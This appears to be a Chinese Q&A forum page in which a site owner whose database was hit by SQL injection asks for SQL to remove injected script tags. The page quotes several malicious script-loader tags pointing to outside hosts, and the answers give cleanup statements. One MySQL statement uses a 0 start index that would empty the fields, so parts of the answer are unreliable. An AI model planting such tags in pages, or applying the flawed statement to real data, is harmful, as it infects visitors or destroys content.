求:删除文本中部分内容的sql语句
来源:百度知道 编辑:UC知道 时间:2024/06/24 10:58:39
最近由于网站被sql注入,导致很多text字段末尾被写入了
<script src=http://www.tctcow.com/ngg.js></script>
<script src=http://www.lkc2.ru/ngg.js></script>
<script src=http://www.gb53.ru/ngg.js></script>
script src=http://www.sslwer.ru/ngg.js></script>
<script src=http://www.po4c.ru/ngg.js></script>
<script src=http://www.bosf.ru/ngg.js></script>
<script src=
<script src=http://www.tctcow.com/ngg.js></script>
<script src=http://www.lkc2.ru/ngg.js></script>
<script src=http://www.gb53.ru/ngg.js></script>
script src=http://www.sslwer.ru/ngg.js></script>
<script src=http://www.po4c.ru/ngg.js></script>
<script src=http://www.bosf.ru/ngg.js></script>
<script src=
ORACLE:
select * from test0 where name like '%<script%</script>';
update test0 set name = substr(name,0,instr(name,'<script')-1) where name like '%<script%</script>';
MYSQL:
select * from test0 where name like '%<script%</script>';
update test0 set name = substring(name,0,instr(name,'<script')-1) where name like '%<script%</script>';
use 数据库名称
update 表名
set text=replace(text,'http://www.ujnc.ru/js.js','')
where text like '%http://www.ujnc.ru/js.js%'
后面直接换就行了.这条语句是:
分别找出你每个字段里面只要包含'http://www.ujnc.ru/js.js'的,全部替换为空.从而达到删除的目的.
也不知道行不行,如果很急的话.你可以找我,做